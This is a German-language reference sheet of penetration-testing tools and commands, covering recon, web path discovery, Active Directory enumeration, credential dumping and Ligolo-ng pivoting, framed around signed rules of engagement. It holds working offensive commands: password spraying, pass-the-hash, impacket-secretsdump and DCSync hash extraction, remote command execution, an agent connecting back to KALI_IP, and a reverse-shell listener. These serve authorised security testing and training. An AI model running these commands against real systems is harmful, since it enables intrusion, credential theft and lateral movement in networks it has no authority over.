Pentest Tools
Pentest Tools Übersicht
Übersicht über gängige Werkzeuge für professionelle Penetrationstests. Alle Aktivitäten setzen einen schriftlichen Auftrag (Rules of Engagement) voraus.
Voraussetzungen
- Kali Linux oder Parrot OS (alle Tools im Repo)
- Schriftlicher Pentest-Auftrag / ROE
- Definierter Scope
# Tool-Installation (falls nicht vorhanden)
sudo apt update && sudo apt install -y rustscan feroxbuster dirsearch whatweb netexec bloodhound-python impacket gowitness
pip install cloud-enum --break-system-packages
Reconnaissance
RustScan (Ultra Fast Port Scanner)
Moderner Hochgeschwindigkeits-Portscanner. Deutlich schneller als nmap alleine — scannt alle Ports vor und übergibt Treffer an nmap zur Analyse.
- Installation
- In Kali enthalten, alternativ:
cargo install rustscan
# Basis-Scan
rustscan -a target.com
# Bestimmte Ports
rustscan -a target.com -p 22,80,443
# Alle Ports (1-65535)
rustscan -a target.com -r 1-65535
# Subnetz
rustscan -a 192.168.1.0/24
# Scan-Geschwindigkeit erhöhen (ulimit)
rustscan -a target.com --ulimit 5000
# Direkt an nmap übergeben (Service-Detection)
rustscan -a target.com -- -sV
# Ergebnisse speichern
rustscan -a target.com > rustscan_results.txt
# Timeout anpassen (ms)
rustscan -a target.com -t 2000
- Hinweis
--ulimiterhöht die Anzahl gleichzeitiger Verbindungen. Vorsicht auf instabilen Zielen — ggf. reduzieren.
WhatWeb (Web Technology Fingerprinting)
Identifiziert eingesetzte Technologien auf Webservern: CMS, Frameworks, Plugins, Softwareversionen. Nützlich zur Angriffsvektoranalyse.
# Basis-Scan
whatweb https://target.com
# Mehrere Ziele aus Datei
whatweb -i targets.txt
# Verbose-Output
whatweb -v https://target.com
# Aggressiver Scan (Stufe 1-4, Standard ist 1)
whatweb -a 3 https://target.com
# Ausgabe in Datei
whatweb https://target.com -o report.txt
# Gezielt nach Plugin suchen
whatweb --plugins wordpress https://target.com
# Subnetz scannen
whatweb 192.168.1.0/24
# Hilfe
whatweb --help
- Aggressionsstufen
- 1 = passiv (Standard), 3 = aktiv mit mehr Requests, 4 = sehr aggressiv
Gowitness (Web Screenshot Recon)
Erstellt automatisch Screenshots von Weboberflächen. Praktisch bei großen Scopes um Login-Panels, Dashboards und exponierte Interfaces schnell zu identifizieren.
# Einzelner Host
gowitness single https://target.com
# Mehrere Hosts aus Datei
gowitness file -f targets.txt
# Screenshots in Verzeichnis speichern
gowitness file -f targets.txt -P screenshots/
# Mit Timeout (Sekunden)
gowitness single https://target.com --timeout 10
# HTTP und HTTPS erfassen
gowitness file -f targets.txt --disable-tls
# Auflösung setzen
gowitness single https://target.com --resolution-x 1920 --resolution-y 1080
# Datenbank speichern
gowitness file -f targets.txt --db-path gowitness.db
# HTML-Report generieren
gowitness report generate
Cloud_enum (Cloud Asset Discovery)
Findet exponierte Cloud-Ressourcen bei AWS, Azure und Google Cloud — öffentlich erreichbare Storage-Buckets, Services und Infrastruktur.
# Basis-Enumeration
cloud_enum -k target
# Nur AWS
cloud_enum -k target --cloud aws
# Nur Azure
cloud_enum -k target --cloud azure
# Ausgabe in Datei
cloud_enum -k target -o results.txt
# Mehrere Keywords aus Datei
cloud_enum -kf keywords.txt
# Verbose
cloud_enum -k target -v
# Mit Threading
cloud_enum -k target -t 10
# JSON-Output
cloud_enum -k target -o results.json -j
- Hinweis
- Als Keyword eignen sich Firmenname, Produktnamen, Subdomains — alles was als Bucket-Name auftauchen könnte.
Web Application Testing
Dirsearch (Web Path Discovery)
Findet versteckte Verzeichnisse und Dateien auf Webservern: Admin-Panels, Backup-Dateien, exponierte Endpoints.
# Basis-Scan
dirsearch -u https://target.com
# Eigene Wordlist
dirsearch -u https://target.com -w wordlist.txt
# Bestimmte Extensions
dirsearch -u https://target.com -e php,html,txt
# Mehrere Ziele
dirsearch -l targets.txt
# Ausgabe speichern
dirsearch -u https://target.com -o results.txt
# Thread-Anzahl
dirsearch -u https://target.com -t 50
# Rekursiver Scan
dirsearch -u https://target.com -r
# Silent Mode (nur Treffer)
dirsearch -u https://target.com -q
Feroxbuster (Fast Content Discovery)
Schnelle Alternative zu dirsearch, in Rust geschrieben. Gut für große Wordlists und rekursive Scans.
# Basis-Scan
feroxbuster -u https://target.com -w wordlist.txt
# Rekursiv
feroxbuster -u https://target.com -w wordlist.txt -r
# Mit File-Extensions
feroxbuster -u https://target.com -w wordlist.txt -x php,html,txt
# Ausgabe speichern
feroxbuster -u https://target.com -w wordlist.txt -o results.txt
# Rate Limiting
feroxbuster -u https://target.com -w wordlist.txt --rate-limit 50
# Thread-Anzahl
feroxbuster -u https://target.com -w wordlist.txt -t 50
# Keine Rekursion
feroxbuster -u https://target.com -w wordlist.txt -n
# Silent Mode
feroxbuster -u https://target.com -w wordlist.txt -q
- Wordlists
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtist ein guter Startpunkt.
Internal Network / Active Directory
NetExec (Network Exploitation Tool)
Moderner Nachfolger von CrackMapExec. Analysiert SMB, WinRM, SSH und weitere Dienste. Zentral für interne Netzwerktests und Active Directory Enumeration.
# SMB-Dienst scannen
netexec smb target.com
# Subnetz scannen
netexec smb 192.168.1.0/24
# Benutzer enumerieren (Guest-Login)
netexec smb target.com -u guest -p ""
# Mit Credentials authentifizieren
netexec smb target.com -u admin -p password
# Befehl ausführen
netexec smb target.com -u admin -p password -x whoami
# WinRM prüfen
netexec winrm target.com
# SSH prüfen
netexec ssh target.com
# Shares auflisten
netexec smb target.com --shares
# Passwort-Spray (Vorsicht: Lockout-Policy beachten!)
netexec smb 192.168.1.0/24 -u users.txt -p 'Winter2024!'
# Hash-Authentication (Pass-the-Hash)
netexec smb target.com -u admin -H NTLMHASH
- Wichtig
- Vor Passwort-Spray immer Lockout-Policy prüfen. Im Zweifel: lieber nicht.
BloodHound (Active Directory Enumeration)
Sammelt AD-Informationen und visualisiert Beziehungen zwischen Benutzern, Systemen und Berechtigungen. Zeigt Privilege-Escalation-Pfade im Graphen.
# Alle Daten sammeln
bloodhound-python -d domain.local -u user -p password -c all
# Nur Session-Daten
bloodhound-python -d domain.local -u user -p password -c session
# Mit eigenem DNS-Server
bloodhound-python -d domain.local -u user -p password -ns 192.168.1.10
# Ausgabe in Verzeichnis
bloodhound-python -d domain.local -u user -p password -c all -o output/
# Hash-Authentifizierung
bloodhound-python -d domain.local -u user --hashes LM:NT
# Nur Gruppen
bloodhound-python -d domain.local -u user -p password -c group
# Nur Computer
bloodhound-python -d domain.local -u user -p password -c computer
# LDAPS verwenden
bloodhound-python -d domain.local -u user -p password --use-ldaps
- Workflow
- 1. bloodhound-python → JSON-Dateien generieren
- 2. Neo4j starten:
sudo neo4j start - 3. BloodHound GUI starten, JSON-Dateien importieren
- 4. Vordefinierte Queries nutzen: "Shortest Paths to Domain Admin"
Impacket-secretsdump (Credential Extraction)
Extrahiert Credentials, Passwort-Hashes und Authentifizierungsdaten aus Windows-Systemen. Für AD-Assessments und Credential-Exposure-Analyse.
# Remote Credential Dump
impacket-secretsdump user:password@target.com
# NTLM-Authentifizierung mit Domain
impacket-secretsdump domain/user:password@target.com
# Per IP-Adresse
impacket-secretsdump user:password@192.168.1.10
# Ausgabe in Datei
impacket-secretsdump user:password@target.com > hashes.txt
# Hash-Authentifizierung (Pass-the-Hash)
impacket-secretsdump -hashes LMHASH:NTHASH user@target.com
# Lokale SAM-Datenbank (offline, mit Registry-Hives)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# Domain Controller (DCSync)
impacket-secretsdump domain/user:password@dc.domain.local
# Debug-Mode
impacket-secretsdump -debug user:password@target.com
- Hinweis DCSync
- Erfordert Replikationsrechte (Domain Admin oder delegiert). Zieht alle Hashes vom DC ohne direkten Zugriff auf NTDS.dit.
Pivoting und Tunneling
Ligolo-ng (Advanced Pivoting Tool)
Modernes Pivoting-Tool für interne Netzwerke. Erstellt eine transparente Netzwerkverbindung über einen kompromittierten Host — ohne SOCKS-Proxy, direkt über ein tun-Interface. Deutlich komfortabler als klassisches SSH-Tunneling oder Chisel.
Konzept
Angreifer (Kali) ──[ligolo-proxy]──► Pivot-Host ──[ligolo-agent]──► internes Netz
(DMZ) (192.168.10.0/24)
Der Proxy läuft auf dem Angreifer-System, der Agent auf dem kompromittierten Host. Nach dem Verbindungsaufbau routet Kali Traffic transparent ins interne Netz.
Lab-Setup
- Voraussetzung
- Zwei Netzsegmente in Proxmox/VirtualBox:
vmbr1— DMZ-Netz (z.B. 10.10.10.0/24), Kali und Pivot-Hostvmbr2— internes Netz (z.B. 192.168.10.0/24), nur Pivot-Host und Ziele
Schritt 1: Binaries herunterladen
# Auf Kali (Angreifer)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_linux_amd64
chmod +x ligolo-ng_proxy_linux_amd64 ligolo-ng_agent_linux_amd64
mv ligolo-ng_proxy_linux_amd64 ligolo-proxy
mv ligolo-ng_agent_linux_amd64 ligolo-agent
- Windows-Agent (für Windows-Pivot-Hosts)
ligolo-ng_agent_windows_amd64.exevom gleichen Release
Schritt 2: tun-Interface erstellen (Kali)
# Einmalig — tun-Interface anlegen
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
Schritt 3: Proxy starten (Kali)
# Self-signed Cert (für Lab ausreichend)
./ligolo-proxy -selfcert
# Lauscht auf Port 11601 (default)
# Eigenes Zertifikat
./ligolo-proxy -certfile cert.pem -keyfile key.pem
Schritt 4: Agent auf Pivot-Host starten
# Agent auf dem kompromittierten Host ausführen
# (Binary vorher übertragen per scp/wget/curl)
./ligolo-agent -connect KALI_IP:11601 -ignore-cert
# Windows
.\ligolo-agent.exe -connect KALI_IP:11601 -ignore-cert
Schritt 5: Tunnel aufbauen (Proxy-Shell)
# In der ligolo-proxy Shell:
ligolo-ng » session
# → verbundene Agents anzeigen, Nummer eingeben
ligolo-ng » ifconfig
# → Netzwerkinterfaces des Pivot-Hosts anzeigen
# → internes Netz identifizieren (z.B. 192.168.10.0/24)
ligolo-ng » tunnel_start
# → Tunnel aktiv
Schritt 6: Route auf Kali setzen
# Internes Netz über ligolo-Interface routen
sudo ip route add 192.168.10.0/24 dev ligolo
# Prüfen
ip route show | grep ligolo
Schritt 7: Internes Netz scannen
# Ab jetzt direkt aus Kali — kein Proxy-Chain nötig
nmap -sT -p 1-1000 192.168.10.0/24
rustscan -a 192.168.10.0/24
netexec smb 192.168.10.0/24
Tunnel beenden
ligolo-ng » tunnel_stop
ligolo-ng » exit
# Route entfernen
sudo ip route del 192.168.10.0/24 dev ligolo
Listener (Reverse Shells durch den Tunnel)
Wenn eine Reverse Shell aus dem internen Netz zu Kali zurückkommen soll:
# In der Proxy-Shell einen Listener definieren
ligolo-ng » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# Payload auf internem Ziel: Connect zu PIVOT_HOST:4444
# Ligolo leitet weiter zu Kali:4444
# Kali: netcat lauscht
nc -lvnp 4444
Typischer Workflow
1. Scope definieren, ROE unterschrieben
2. Recon extern
rustscan → offene Ports
whatweb → Technologie-Fingerprint
cloud_enum → Cloud-Assets
3. Web Application
dirsearch / feroxbuster → versteckte Pfade
gowitness → visuelle Übersicht bei vielen Hosts
4. Foothold
netexec smb → SMB-Enumeration, Shares
impacket-secretsdump → Credential Dump nach Zugriff
5. Internal
bloodhound-python → AD-Mapping
netexec → lateral movement
6. Pivoting (bei Segmentierung)
ligolo-ng → Tunnel ins interne Netz
→ Tools laufen dann direkt gegen interne Ziele